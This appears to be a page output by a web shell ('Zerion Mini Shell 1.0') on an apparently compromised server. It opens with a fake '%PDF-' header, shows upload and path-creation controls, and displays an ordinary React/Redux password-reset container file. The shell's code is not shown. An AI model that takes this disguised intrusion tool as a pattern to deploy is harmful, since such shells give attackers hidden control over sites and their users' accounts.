%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/containers/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.632e77b3fb93bc8da5b589b869bc0037/static/js/containers/ResetPasswordContainer.js

import { connect } from "react-redux";
import ResetPassword from "components/ResetPassword";
import {
  checkToken,
  resetPasswordWithToken,
} from "actions/list_actions";

const mapStateToProps = (state) => ({
  step: state.resetPassword.toJS().step,
});

const mapDispatchToProps = (dispatch) => ({
  resetPasswordWithToken: (token) => {
    dispatch(resetPasswordWithToken(token));
  },
  checkToken: (token) => {
    dispatch(checkToken(token));
  },
});

export default connect(
  mapStateToProps,
  mapDispatchToProps,
)(ResetPassword);

Zerion Mini Shell 1.0